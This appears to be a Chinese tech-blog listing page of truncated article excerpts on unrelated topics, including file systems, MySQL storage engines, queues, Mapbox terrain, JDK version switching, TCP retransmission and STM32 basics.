二十一世纪我们的社会进入了信息时代&#xff0c; 信息管理系统的建立&#xff0c;大大提高了人们信息化水平。传统的管理方式对时间、地点的限制太多&#xff0c;而在线管理系统刚好能满足这些需求&#xff0c;在线管理系统突破了传统管理方式的局限性。于是本文针对这一需求设…

ntfs文件系统的优势 NTFS文件系统的特性有哪些 ntfs和fat32有什么区别 苹果电脑怎么管理硬盘

对于数码科技宅在新购得磁盘之后&#xff0c;出于某种原因会在新的磁盘安装操作系统。在安装操作系统时&#xff0c;首先要对磁盘进行分区和格式化&#xff0c;而在此过程中&#xff0c;操作者们需要选择文件系统。文件系统也决定了之后操作的流程程度&#xff0c;一般文件系统…

MySQL存储引擎详解

存储引擎 MySQL体系结构 连接层&#xff1a;与客户端连接&#xff0c;权限校验、连接池服务层&#xff1a;SQL接口和解析、查询优化、缓存、函数引擎层&#xff1a;索引、存储引擎存储层&#xff1a;系统文件、日志&#xff08;Redo、Undo等&#xff09; 存储引擎介绍 不同的…

暴力数据结构之栈与队列(队列详解)

1.队列的定义 队列是一种特殊的线性表&#xff0c;它遵循先进先出&#xff08;FIFO&#xff09;的原则。在队列中&#xff0c;只允许在表的一端进行插入操作&#xff08;队尾&#xff09;&#xff0c;而在另一端进行删除操作&#xff08;队头&#xff09;。这种数据结构确保了最…

【WebGIS实例】(14)MapboxGL 加载地形高程数据

前言 官网示例&#xff1a;Add 3D terrain to a map | Mapbox GL JS | Mapbox 大佬博客&#xff1a;Mapbox GL基础&#xff08;七&#xff09;&#xff1a;地形数据的处理与加载 (jl1mall.com) 加载Mapbox地形数据 map.once(style.load, () > {map.addSource(mapbox-dem,…

改变视觉创造力:图像合成中基于样式的生成架构的影响和创新

原文地址&#xff1a;revolutionizing-visual-creativity-the-impact-and-innovations-of-style-based-generative 2024 年 4 月 30 日 介绍 基于风格的生成架构已经开辟了一个利基市场&#xff0c;它将机器学习的技术严谨性与类人创造力的微妙表现力融为一体。这一发展的核…

Windows11 同时安装jdk8和jdk17 可切换

Windows11 同时安装jdk8和jdk17 可切换 死忠于JDK8的码农们&#xff0c;可能不得不做出一些改变的 因为在springboot3最低也是只能用17 并且最近如果创建springboot项目的时候&#xff0c;你会发现&#xff0c;最低也是17的 并且&#xff0c;如果使用springcloud开发&#x…

达梦数据库查询最近N天的日期列表

获取近10天的日期列表&#xff1a; //10替换成需要的天数N select to_char(trunc(sysdate)-level,YYYY-MM-DD) from dual connect by rownum<10; 查询结果如下&#xff1a;

牛客小白月赛93

B交换数字 题目&#xff1a; 思路&#xff1a;我们可以知道&#xff0c;a*b% mod (a%mod) * (b%mod) 代码&#xff1a; void solve(){int n;cin >> n;string a, b;cin >> a >> b;for(int i 0;i < n;i )if(a[i] > b[i])swap(a[i], b[i]);int num1…

TriCore: Architecture

说明 本文是 英飞凌 架构文档 TriCore TC162P core archiecture Volume 1 of 2 (infineon.com) 的笔记&#xff0c;稍作整理方便查阅&#xff0c;错误之处&#xff0c;还请指正&#xff0c;谢谢 :) 1. Architecture 2. General Purpose & System Register 名词列表&#…

JavaScript逆向技术

JavaScript逆向之旅&#xff1a;深入解析与实践 在数字时代&#xff0c;前端技术的迅速发展使得Web应用变得更加丰富和复杂。JavaScript&#xff0c;作为前端的核心语言&#xff0c;其安全性和隐私保护问题也逐渐浮出水面。JavaScript逆向&#xff0c;作为一种从前端代码中提取…

TCP超时重传机制

一、TCP超时重传机制简介 TCP超时重传机制是指当发送端发送数据后&#xff0c;如果在一定时间内未收到接收端的确认应答&#xff0c;则会认为数据丢失或损坏&#xff0c;从而触发重传机制。发送端会重新发送数据&#xff0c;并等待确认应答。如果在多次重传后仍未收到确认应答&…

STM32入门周边知识(为什么要装MDK,启动文件是什么,为什么要配置时钟等等)

目录 MDKMDK与C51共存为什么要安装MDK 启动文件是什么&#xff0c;为什么要添加许多文件为什么要添加头文件路径为什么是寄存器配置魔术棒中的define为什么必须先配置时钟杂例 MDK MDK与C51共存 在最开始学习51单片机的时候&#xff0c;当时安装keil的时候&#xff0c;认为就是…

队列的实现(使用C语言)

完整代码链接&#xff1a;DataStructure: 基本数据结构的实现。 (gitee.com) 目录 一、队列的概念&#xff1a; 二、队列的实现&#xff1a; 使用链表实现队列&#xff1a; 1.结构体设计&#xff1a; 2.初始化&#xff1a; 3.销毁&#xff1a; 4.入队&#xff1a; 5.…

青动CRM源码搭建/部署/上线/运营/售后/更新

CRM是一款基于thinkphpfastadmin开发的客户管理系统。旨在助力企业销售全流程精细化、数字化管理&#xff0c;全面解决企业销售团队的全流程客户服务难题&#xff0c;帮助企业有效盘 活客户资源、量化销售行为&#xff0c;合理配置资源、建立科学销售体系&#xff0c;提升销售业…

工作中遇见的问题总结

1. 当我执行下面代码的时候&#xff0c;下边的的代码还是会执行 if(name"aaa"){console.log("111");}